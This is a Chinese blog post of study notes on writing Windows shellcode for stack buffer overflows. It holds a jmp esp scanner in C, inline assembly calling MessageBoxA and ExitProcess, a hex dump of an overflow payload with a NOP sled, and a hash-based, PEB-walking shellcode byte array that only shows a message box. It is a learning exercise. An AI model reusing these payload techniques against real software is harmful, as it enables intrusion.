1. 程式人生 > >【0day shellcode編寫藝術】—— jmp esp、動態獲取api。後續:編碼、壓縮

【0day shellcode編寫藝術】—— jmp esp、動態獲取api。後續:編碼、壓縮

此次主要徒手體會了一下編寫shellcode 的不容易。當真不容易,看著作者的程式碼,都感覺自己無處可以下手了。 需要的底層原理知識也還挺多需要補充上去的。

打算後期再逐漸補充。目前階段將jmp esp弄懂了。後面動態獲取api在主機上出錯了。問題和搜尋jmp esp程式碼時候貌似一樣,產生訪問越權的問題。後期再繼續解決吧。

目前整理一下整個的思路。

1、shellcode、expoit的概念;

2、為了更好的注入shellcode,里程碑式的方法。使用jmp esp。

3、後續:動態獲取api、編碼shellcode、壓縮shellcode。

後續內容用在之後再學習。

1、shellcode、exploit概念

shellcode:通稱緩衝區溢位攻擊中植入程序的程式碼。

exploit: 程式碼植入的過程成為漏洞利用,即exploit。

2、里程碑式的注入方法:jmp esp

之前我們的一個思路,是將shellcode注入到緩衝區裡面。通過溢位修改返回地址,指向緩衝區的起始位置從而執行shellcode。

但是這樣會有一個弊端。目前溢位修改的返回地址是固定的,如果系統一重新啟動,或者重新執行程式,分配的地址就會改變,原來的shellcode就不行了,需要再次od看地址,修改地址。這樣很不方便。這個問題再困擾了人們很久以後,在1998年,黑客組織“cult of the dead cow”的Dildog首次提出了使用jmp esp的動態定位,成為shellcode里程碑式的進步。

98年,我還是小屁孩的。外面的世界就早已經風起雲湧了= =驚訝

使用jmp esp有這樣的原理。在每次當前函式返回之後,esp都會指向緊緊挨著的下一個棧幀的棧頂。那麼通過將shellcode放在返回地址後面,就可以動態的執行了。

(其實我考慮能不能在shellcode中直接獲取當前緩衝區的起始地址,然後動態的放到返回地址中,但發現難度大,而且麻煩,程式碼量也會增加很多。革命式的進步真是很偉大!)

目前的問題就是通過程式碼搜尋記憶體的jmp esp指令的。使用OD外掛可以成功,但是自己設計程式卻始終無法找到。

uer32.dll找0x1000個位元組就說越權了,不明白是為什麼,難度目前windows對這個進行了控制?

OD的外掛最後放出來。

自己寫的程式碼(書上的)修改後,可以在VS2010中執行的。

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "kernel32.dll"

int _tmain(int argc, _TCHAR* argv[])
{
	BYTE *ptr;
	int position,address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibraryA(DLL_NAME);
	if(!handle)
	{
		printf(" load dll error!");
		getchar();
		return 0;
	}
	ptr = (BYTE*)handle;
	printf("start at 0x%x\n",handle);
	for(position = 0 ; !done_flag ; position++)
	{
		__try
		{
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
			{
				address = (int)ptr + position;
				printf("jmp esp found at 0x%x\n",address);
			}			
		}
		__except(2)
		{
			address = (int)ptr + position;
			printf("END of 0x%x\n",address);
			done_flag = TRUE;
		}
	}
	getchar();
	return 0;
}

接著,依舊利用上一個章節的程式和password檔案,構造shellcode注入。

為了讓shellcode程式碼安全退出,比上個章節多找個exitprocess函式。

上次使用OD尋找,這次使用Dependency walker 查詢,發現動態連結庫的基址找的不準確。相對位置是準確的。

所以我還是用上面的search程式碼找的基址,用DK找的的相對位置。得到如下地址,每臺電腦資料不一樣。

uesr32 --> 76EF0000  mesg = 0x0006fd1e   
	0x76F5FD1E    USER32.MessageBoxA  
kernel32.dll 76bb0000   -->  exitprocess= 0x000179d8 
exit --> 0x76BC79D8
接著,寫入相應的彙編程式碼,在對應的位置修改地址,獲取機器碼:
// shellcode_useJmp.cpp : 
//

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE LibHandle,LibHandle2;
	LibHandle = LoadLibraryA("user32.dll");
	LibHandle2 = LoadLibraryA("kernel32.dll");
	_asm
	{
		sub sp,0x440
		xor ebx,ebx
		push ebx
		push 0x74736577
		push 0x6c696166

		mov eax,esp
		push ebx
		push eax
		push eax
		push ebx

		mov eax,0x76F5FD1E 
		call eax//messagebox,修改

		push ebx
		mov eax,0x76BC79D8
		call eax//exit(0),修改
	}
	return 0;
}

得到機器碼
013E13CC               66:81EC 4004    sub     sp, 440
013E13D1               33DB            xor     ebx, ebx
013E13D3               53              push    ebx
013E13D4               68 77657374     push    74736577
013E13D9               68 6661696C     push    6C696166
013E13DE               8BC4            mov     eax, esp
013E13E0               53              push    ebx
013E13E1               50              push    eax
013E13E2               50              push    eax
013E13E3               53              push    ebx
013E13E4               B8 1EFDF576     mov     eax, USER32.MessageBoxA
013E13E9               FFD0            call    eax
013E13EB               53              push    ebx
013E13EC               B8 D879BC76     mov     eax, kernel32.ExitProcess
013E13F1               FFD0            call    eax

寫入到構造的txt文件中 為:
00000000h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000010h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000030h: 90 90 90 90 90 90 90 90 90 90 90 90 4F AE F8 76 ; 悙悙悙悙悙悙Ov
00000040h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S
00000050h: 50 50 53 B8 1E FD F5 76 FF D0 53 B8 D8 79 BC 76 ; PPS?v蠸肛y紇
00000060h: FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 袗悙悙悙悙悙悙?
00000070h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000080h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ; 悙悙悙悙悙悙悙?
最終執行成功彈出:並且安全退出


3、動態獲取api、編碼shellcode、壓縮shellcode

這一部分就不做闡述了,因為我想後續再回來學習。裡面涉及的程式碼大都我都無從修改。

敘述一小部分步驟:

【1、獲取api 的hash】
MessageBoxA : 0x1e380a6a
ExitProcess:  0x4fd18963
LoadLIbraryA:  0x0c917432

獲取hash的目的是為了縮短字串的比較長度。

【2、直接載入書上的程式碼,執行獲取機器碼machine code】


【3、將machine code 轉成陣列儲存】

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

至此,本章告一段落,感覺初次接觸難度還是有的。

主要學到的知識就是shellcode的編寫思路。以及整個流程,包括後續的編碼,壓縮等內容都有大致瞭解。

最終目的都是要構造一份精簡、通用、準確的shellcdoe。

jmp esp 的用法確實不錯。

下一章使用metasploit,非常期待!